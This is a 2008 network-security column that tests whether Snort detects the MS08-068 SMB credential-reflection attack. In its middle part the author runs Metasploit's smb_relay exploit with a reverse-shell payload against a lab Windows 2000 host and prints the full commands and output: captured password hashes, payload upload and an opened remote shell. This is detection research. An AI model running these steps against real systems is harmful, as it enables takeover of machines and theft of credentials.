Welcome to the 22nd edition of the Snort Report! On Nov. 11, 2008, Microsoft published Microsoft Security Bulletin MS08-068 -- Important Vulnerability in SMB Could Allow Remote Code Execution (957097). Server Message Block (SMB) is an old and integral aspect of Microsoft Windows file sharing and related functions. A post on the Microsoft Security Vulnerability and Research blog titled "MS08-068: SMB credential reflection defense" offers the following explanation:
By submitting your personal information, you agree that TechTarget and its partners may contact you regarding relevant content, products and special offers.
This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim's own credentials. (Hence the term "credential reflection"). In typical Windows XP configurations where SMB sharing is enabled and the user is a member of the Administrators group, this allows the attacker to easily take over the machine. Public tools, including a Metasploit module, are available to perform this attack.
Typical attack vectors for this vulnerability will leverage HTML either via a web browser or e-mail. Resources within the HTML document (such as IMG tags) can be used to reference a file on the attacker's machine, and these file are then retrieved using the SMB protocol. The attacker's machine prompts the victim for credentials and then reflects these credentials to the victim's machine, gaining access.
This vulnerability has a long pedigree. Chris Wysopal's blog post "Credit for Researchers" points to Dominique Brezinski's 1997 paper, "A Weakness in CIFS Authentication" as the earliest discussion of this problem. Hobbitt's 1997 paper "CIFS: Common Insecurities Fail Scrutiny" is also good early reading on SMB. In 2001, Sir Dystic's presentation to Atlantacon of the SMBRelay tool brought widespread attention to the vulnerability. Working code tends to have that effect on the community, but it took seven more years before Microsoft patched it.
According to a Microsoft Security Response Center blog post titled "MS08-068 and SMBRelay," "When this issue was first raised back in 2001, we said that we could not make changes to address this issue without negatively impacting network-based applications." What changed to create this impetus for the patch? My guess is that intruders have rediscovered (or never stopped using) this attack for client-side exploitation. Instead of convincing a user to open a malicious attachment or visit a malicious website, the attacker convinces the user or his client to visit a malicious Universal Naming Convention (UNC) link.
Two Server Message Block attack techniques
It's important to realize that the problem addressed by Microsoft Security Bulletin MS08-068 is only one of two attack techniques. The Metasploit blog post "MS08-068: Metasploit and SMB Relay" (http://blog.metasploit.com/2008/11/ms08-067-metasploit-and-smb-relay.html) explains this well:
The MS08-068 patch addresses this attack only in the case where the attacker connects back to the victim. The patch works by checking the received challenge key against a list of active keys that its own SMB service has issued. If the challenge key matches the list, the authentication process fails.
So, credential reflection is the one SMB attack technique which the Microsoft patch fixes. A second technique doesn't involve a malicious server trying to reflect credentials to log into a victim client. Instead, the malicious SMB server could perform a man-in-the-middle attack, simply relaying credentials from a client to a real SMB server. The Metasploit blog states:
If the server intentionally picks a static challenge key for every connection, it is possible to perform a rainbow table attack against the password hash. In this scenario, the attacker would have precalculated the value of every possible password encrypted against the static challenge key. A set of rainbow tables for "HALF-LANMAN" hashes can be found at the Free Rainbow Tables web site. Even without a rainbow table, the challenge-key password hash can be brute forced with tools like Cain & Able and Ophcrack. This is the attack implemented by the original version of SMB Relay and the SMB Capture module of the Metasploit Framework. The MS08-068 patch does not address this issue, since its part of the protocol design.
It is clear this is a serious problem.
What does Snort see?
If this vulnerability is over 11 years old, and the proof-of-concept code implementing the attack is over 8 years old, it is reasonable to think that a network security product like Snort might identify it. I decided to see if this was the case. Sourcefire did release a new rule set on Nov. 11, 2008 saying:
A vulnerability in the Microsoft Server Message Block (SMB) protocol may allow a remote attacker to execute code on an affected system. The problem lies in the way that the protocol handles NTLM credentials when users attempt to login to a system.
A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 15009.
However, for such an old problem, I would expect rules prior to Nov. 11 to catch something. Let's see if that's true.
To see how Snort handled the problem, I used Metasploit's smb_relay module but implemented the credential reflection attack against an unpatched Windows Server 2000 system. I ran the Metasploit Framework on a FreeBSD 7.0 host as demonstrated below.
freebsd70:/usr/local/src/framework-3.1# ifconfig le0
inet 192.168.230.130 netmask 0xffffff00 broadcast 192.168.230.255
media: Ethernet autoselect
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
=[ msf v3.1-release
+ -- --=[ 269 exploits - 118 payloads
+ -- --=[ 17 encoders - 6 nops
=[ 46 aux
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > set SRVHOST 192.168.230.130
SRVHOST => 192.168.230.130
msf exploit(smb_relay) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf exploit(smb_relay) > set LHOST 192.168.230.130
LHOST => 192.168.230.130
msf exploit(smb_relay) > exploit
[*] Started reverse handler
[*] Server started.
msf exploit(smb_relay) >
At this point I was ready to tell my Windows 2000 victim to fall prey to this exploit. I followed the example shown in the LearnSecurityOnline video titled "Metasploit Framework SMBrelay Exploit With Reverse Shell."
I created a small HTML page containing the text shown in the screenshot below, then opened it using Internet Explorer.
That page causes my victim, 192.168.230.129, to reach out via SMB to 192.168.230.130, my FreeBSD system running Metasploit. The next text shows how Metasploit responded.
[*] Received 192.168.230.129:1031 \ LMHASH:00 NTHASH: OS:Windows 2000 2195 LM:Windows 2000 5.0
[*] Sending Access Denied to 192.168.230.129:1031 \
[*] Received 192.168.230.129:1033 WIN2KADVSERVA\Administrator LMHASH:9a31a5f27b01078a0b2de775af719c4b726ea4b233e2014b NTHASH:56b29d9e39ad931989dc22be5fb5696e35ed22ab2584edc9 OS:Windows 2000 2195 LM:Windows 2000 5.0
[*] Authenticating to 192.168.230.129 as WIN2KADVSERVA\Administrator...
[*] AUTHENTICATED as WIN2KADVSERVA\Administrator...
[*] Connecting to the ADMIN$ share...
[*] Regenerating the payload...
[*] Uploading payload...
[*] Created \cKTbcRbX.exe...
[*] Connecting to the Service Control Manager...
[*] Obtaining a service manager handle...
[*] Creating a new service...
[*] Closing service handle...
[*] Opening service...
[*] You *MUST* manually remove the service: 192.168.230.129 (jINSxQrN - "MpYzxcijuDqfpWhujZU")
[*] You *MUST* manually delete the service file: 192.168.230.129 %SYSTEMROOT%\cKTbcRbX.exe
[*] Starting the service...
[*] Command shell session 1 opened (192.168.230.130:4444 -> 192.168.230.129:1034)
[*] Sending Access Denied to 192.168.230.129:1033 WIN2KADVSERVA\Administrator
[*] Received 192.168.230.129:1033 \ LMHASH:00 NTHASH: OS:Windows 2000 2195 LM:Windows 2000 5.0
[*] Sending Access Denied to 192.168.230.129:1033 \
[*] Received 192.168.230.129:1036 WIN2KADVSERVA\Administrator LMHASH:c3441d7175daa2810ecb2272f86a8680ee60be6d7d1f79e3 NTHASH:76653494e7a271da820f83e6ea387518a9930c2ccb0e5e20 OS:Windows 2000 2195 LM:Windows 2000 5.0
[*] Authenticating to 192.168.230.129 as WIN2KADVSERVA\Administrator...
[*] AUTHENTICATED as WIN2KADVSERVA\Administrator...
[*] Ignoring request from 192.168.230.129, attack already in progress.
[*] Sending Access Denied to 192.168.230.129:1036 WIN2KADVSERVA\Administrator
At this point Metasploit has taken over the system, as described in their blog:
The Metasploit module takes over the established, authenticated SMB session, disconnects the client, and uses the session to upload and execute shellcode in a manner similar to how psexec.exe operates. First, a Windows executable is created that acts like a valid Windows service and executes the specified Metasploit payload. This payload is then uploaded to the root of the ADMIN$ share of the victim. Once the payload has been uploaded, the Service Control Manager is accessed over DCERPC (using a named pipe over SMB) and used to create a new service (pointing at the uploaded executable) and then start it. This service creates a new suspended process, injects the shellcode into it, resumes the process, and shuts itself down. The module then deletes the created service. At this point, the attacker has a remote shell (or other payload session) on the victim.
In our example the new executable is called "cKTbcRbX.exe" and we can access it thus:
msf exploit(smb_relay) > sessions -l
Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.230.130:4444 -> 192.168.230.129:1034
msf exploit(smb_relay) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
Windows 2000 IP Configuration
Host Name . . . . . . . . . . . . : win2kadvserva
Primary DNS Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Broadcast
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : localdomain
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
Description . . . . . . . . . . . : AMD PCNET Family PCI Ethernet Adapter
Physical Address. . . . . . . . . : 00-0C-29-2B-51-C5
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IP Address. . . . . . . . . . . . : 192.168.230.129
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
DHCP Server . . . . . . . . . . . : 192.168.230.254
DNS Servers . . . . . . . . . . . : 192.168.230.1
Lease Obtained. . . . . . . . . . : Sunday, November 16, 2008 9:49:57 PM
Lease Expires . . . . . . . . . . : Sunday, November 16, 2008 10:19:57 PM
Proto Local Address Foreign Address State
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
TCP 0.0.0.0:25 0.0.0.0:0 LISTENING
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1027 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1034 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3372 0.0.0.0:0 LISTENING
TCP 0.0.0.0:7264 0.0.0.0:0 LISTENING
TCP 192.168.230.129:139 0.0.0.0:0 LISTENING
TCP 192.168.230.129:139 192.168.230.130:57792 ESTABLISHED
TCP 192.168.230.129:139 192.168.230.130:62289 ESTABLISHED
TCP 192.168.230.129:1031 192.168.230.130:139 TIME_WAIT
TCP 192.168.230.129:1033 192.168.230.130:139 TIME_WAIT
TCP 192.168.230.129:1034 192.168.230.130:4444 ESTABLISHED
TCP 192.168.230.129:1036 192.168.230.130:139 TIME_WAIT
UDP 0.0.0.0:135 *:*
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:1028 *:*
UDP 0.0.0.0:1029 *:*
UDP 0.0.0.0:3456 *:*
UDP 192.168.230.129:137 *:*
UDP 192.168.230.129:138 *:*
UDP 192.168.230.129:500 *:*
[*] Command shell session 1 closed.
In the netstat output above, the SMB connections use port 139 TCP, and the Metasploit reverse shell connections use port 4444 TCP.
Setting up Snort
To test Snort I used the rule set for registered users released Oct. 13, 2008, and the following configuration.
freebsd70:/usr/local/snort-2.8.3# diff snort.conf snort.conf.2.8.3
< var RULE_PATH ../rules
< var PREPROC_RULE_PATH ../preproc_rules
> #var RULE_PATH ../rules
> var RULE_PATH /usr/local/snort-2.8.3/rules
> #var PREPROC_RULE_PATH ../preproc_rules
> var PREPROC_RULE_PATH /usr/local/snort-2.8.3/preproc_rules
< dynamicpreprocessor directory /usr/local/lib/snort_dynamicpreprocessor/
> #dynamicpreprocessor directory /usr/local/lib/snort_dynamicpreprocessor/
> dynamicpreprocessor directory /usr/local/snort-2.8.3/lib/snort_dynamicpreprocessor/
< dynamicengine /usr/local/lib/snort_dynamicengine/libsf_engine.so
> #dynamicengine /usr/local/lib/snort_dynamicengine/libsf_engine.so
> dynamicengine /usr/local/snort-2.8.3/lib/snort_dynamicengine/libsf_engine.so
> dynamicdetection directory /usr/local/snort-2.8.3/lib/snort_dynamicrule/
< # include $RULE_PATH/web-attacks.rules
< # include $RULE_PATH/backdoor.rules
< # include $RULE_PATH/shellcode.rules
< # include $RULE_PATH/policy.rules
> include $RULE_PATH/web-attacks.rules
> include $RULE_PATH/backdoor.rules
> include $RULE_PATH/shellcode.rules
> include $RULE_PATH/policy.rules
< # include $RULE_PATH/info.rules
< # include $RULE_PATH/icmp-info.rules
< # include $RULE_PATH/virus.rules
< # include $RULE_PATH/chat.rules
< # include $RULE_PATH/multimedia.rules
< # include $RULE_PATH/p2p.rules
< # include $RULE_PATH/spyware-put.rules
< # include $RULE_PATH/specific-threats.rules
> include $RULE_PATH/info.rules
> include $RULE_PATH/icmp-info.rules
> include $RULE_PATH/virus.rules
> include $RULE_PATH/chat.rules
> include $RULE_PATH/multimedia.rules
> include $RULE_PATH/p2p.rules
> include $RULE_PATH/spyware-put.rules
> include $RULE_PATH/specific-threats.rules
< # include $PREPROC_RULE_PATH/preprocessor.rules
< # include $PREPROC_RULE_PATH/decoder.rules
> include $PREPROC_RULE_PATH/preprocessor.rules
> include $PREPROC_RULE_PATH/decoder.rules
I ran Snort 2.8.3 using that configuration against a packet capture of the attack traffic.
freebsd70:/usr/local/snort-2.8.3# bin/snort -c snort.conf.2.8.3
-r /tmp/smbrelay.2.pcap -l /tmp/ -A full
Running in IDS mode
--== Initializing Snort ==--
Loading dynamic preprocessor library
DCE/RPC Decoder config:
Autodetect ports ENABLED
SMB fragmentation ENABLED
DCE/RPC fragmentation ENABLED
Max Frag Size: 3000 bytes
Memcap: 100000 KB
Alert if memcap exceeded DISABLED
Reassembly increment: DISABLED
Initializing rule chains...
9366 Snort rules read
9175 detection rules
57 decoder rules
134 preprocessor rules
0 Dynamic rules
Reading network traffic from "/tmp/smbrelay.2.pcap" file.
snaplen = 1514
--== Initialization Complete ==--
,,_ -*> Snort! <*-
o" )~ Version 2.8.3 (Build 16) FreeBSD
'''' By Martin Roesch & The Snort Team: http://www.snort.org/team.html
(C) Copyright 1998-2008 Sourcefire Inc., et al.
Using PCRE version: 7.4 2007-09-21
Rules Engine: SF_SNORT_DETECTION_ENGINE Version 1.9
Preprocessor Object: SF_Dynamic_Example_Preprocessor Version 1.0
Preprocessor Object: SF_SSLPP Version 1.1
Preprocessor Object: SF_DNS Version 1.1
Preprocessor Object: SF_DCERPC Version 1.1
Preprocessor Object: SF_SSH Version 1.1
Preprocessor Object: SF_SMTP Version 1.1
Preprocessor Object: SF_FTPTELNET Version 1.1
Not Using PCAP_FRAMES
Run time for packet processing was 0.11344 seconds
Snort processed 199 packets.
Snort produced two alerts, but only the first is relevant to the activity in question.
freebsd70:/tmp# cat alert
[**] [1:532:12] NETBIOS SMB ADMIN$ share access [**]
[Classification: Generic Protocol Command Decode] [Priority: 3]
11/16-21:59:43.956022 192.168.230.130:62289 -> 192.168.230.129:139
TCP TTL:64 TOS:0x0 ID:48232 IpLen:20 DgmLen:113 DF
***AP*** Seq: 0xEF1992A7 Ack: 0x4BDACAAE Win: 0x2086 TcpLen: 32
TCP Options (3) => NOP NOP TS: 4162686 1881
[**] [122:1:1] PSNG_TCP_PORTSCAN [**]
[Classification: Attempted Information Leak] [Priority: 2]
11/16-22:00:05.026543 192.168.230.129 -> 192.168.230.130
PROTO:255 TTL:0 TOS:0x0 ID:48299 IpLen:20 DgmLen:167 DF
We can look at the contents of the snort.log.TIMESTAMP file to see the packets that triggered Snort.
freebsd70:/tmp# tcpdump -X -r snort.log.1226892282
reading from file snort.log.1226892282, link-type EN10MB (Ethernet)
21:59:43.956022 IP 192.168.230.130.62289 > 192.168.230.129.netbios-ssn:
P 4011430567:4011430628(61) ack 1272629934 win 8326
0x0000: 4500 0071 bc68 4000 4006 2fc9 c0a8 e682 E..q.h@.@./.....
0x0010: c0a8 e681 f351 008b ef19 92a7 4bda caae .....Q......K...
0x0020: 8018 2086 13f7 0000 0101 080a 003f 847e .............?.~
0x0030: 0000 0759 0000 0039 ff53 4d42 7500 0000 ...Y...9.SMBu...
0x0040: 0018 0120 0000 0000 0000 0000 0000 0000 ................
0x0050: 0000 5c09 0008 5bd1 04ff 0000 0000 0001 ..\...[.........
0x0060: 000e 0000 4144 4d49 4e24 003f 3f3f 3f3f ....ADMIN$.?????
0x0070: 00 .
0x0000: 4500 00a7 bcab 4000 00ff 6e57 c0a8 e681 E.....@...nW....
0x0010: c0a8 e682 5072 696f 7269 7479 2043 6f75 ....Priority.Cou
0x0020: 6e74 3a20 350a 436f 6e6e 6563 7469 6f6e nt:.5.Connection
0x0030: 2043 6f75 6e74 3a20 350a 4950 2043 6f75 .Count:.5.IP.Cou
0x0040: 6e74 3a20 310a 5363 616e 6e65 7220 4950 nt:.1.Scanner.IP
0x0050: 2052 616e 6765 3a20 3139 322e 3136 382e .Range:.192.168.
0x0060: 3233 302e 3132 393a 3139 322e 3136 382e 230.129:192.168.
0x0070: 3233 302e 3132 390a 506f 7274 2f50 726f 230.129.Port/Pro
0x0080: 746f 2043 6f75 6e74 3a20 370a 506f 7274 to.Count:.7.Port
0x0090: 2f50 726f 746f 2052 616e 6765 3a20 3133 /Proto.Range:.13
0x00a0: 393a 3434 3434 0a 9:4444.
0x0000: 4500 0023 bcab 4000 00ff 6edb c0a8 e681 E..#..@...n.....
0x0010: c0a8 e682 4f70 656e 2050 6f72 743a 2031 ....Open.Port:.1
0x0020: 3339 0a 39.
0x0000: 4500 0024 bcab 4000 00ff 6eda c0a8 e681 E..$..@...n.....
0x0010: c0a8 e682 4f70 656e 2050 6f72 743a 2034 ....Open.Port:.4
0x0020: 3434 340a 444.
The first packet (corresponding to the first alert) shows a connection to the ADMIN$ share on 192.168.230.129. This is activity from the malicious SMB server (Metasploit) to the client 192.168.230.129.
The other packets are "pseudo-packets" created by Snort's portscan preprocessor depicting port scan alerts for ports 139 and 4444, caused by Metasploit.
Tshark provides a little more detail on the SMB activity of the first packet.
freebsd70:/tmp# tshark -n -V -r snort.log.1226892282
Frame 1 (127 bytes on wire, 127 bytes captured)
NetBIOS Session Service
Message Type: Session message
.... ...0 = Add 0 to length
SMB (Server Message Block Protocol)
Server Component: SMB
SMB Command: Tree Connect AndX (0x75)
Error Class: Success (0x00)
Error Code: No Error
0... .... = Request/Response: Message is a request to the server
.0.. .... = Notify: Notify client only on open
..0. .... = Oplocks: OpLock not requested/granted
...1 .... = Canonicalized Pathnames: Pathnames are canonicalized
.... 1... = Case Sensitivity: Path names are caseless
.... ..0. = Receive Buffer Posted: Receive buffer has not been posted
.... ...0 = Lock and Read: Lockℜad, Write&Unlock are not supported
0... .... .... .... = Unicode Strings: Strings are ASCII
.0.. .... .... .... = Error Code Type: Error codes are DOS error codes
..1. .... .... .... = Execute-only Reads: Permit reads if execute-only
...0 .... .... .... = Dfs: Don't resolve pathnames with Dfs
.... 0... .... .... = Extended Security Negotiation: Extended security negotiation is not supported
.... .... .0.. .... = Long Names Used: Path names in request are not long file names
.... .... .... .0.. = Security Signatures: Security signatures are not supported
.... .... .... ..0. = Extended Attributes: Extended attributes are not supported
.... .... .... ...1 = Long Names Allowed: Long file names are allowed in the response
Process ID High: 0
Tree ID: 0
Process ID: 2396
User ID: 2048
Multiplex ID: 53595
Tree Connect AndX Request (0x75)
Word Count (WCT): 4
AndXCommand: No further commands (0xff)
.... .... .... ...0 = Disconnect TID: Do NOT disconnect TID
Password Length: 1
Byte Count (BCC): 14
Snort 2.8.3 with a modern rule set only displayed a NETBIOS SMB ADMIN$ share access alert, caused by the malicious SMB server connecting back to the SMB client. This is not much to work with, but it's better than nothing. I haven't seen how the new Sourcefire rule detects this activity yet.
This is an example of an event that Snort doesn't emphasize as a major problem, especially if it occurs within organizational boundaries. However, if your network security monitoring operation keeps track of session and full content data, in addition to alert data, you could do retrospective analysis to identify this activity.
Note that around the time of this patch being released, Andres Tarasco released SMBRelay 3 (http://packetstormsecurity.org/filedesc/smbrelay3.zip.html). I did not test that program. Public exploits (besides Metasploit) are fairly old, e.g., http://downloads.securityfocus.com/vulnerabilities/exploits/backrush.patch.README and http://downloads.securityfocus.com/vulnerabilities/exploits/backrush.patch.
About the author
Richard Bejtlich is the founder of TaoSecurity, author of several books on network security monitoring, including Extrusion Detection: Security Monitoring for Internal Intrusions, and operator of the TaoSecurity blog.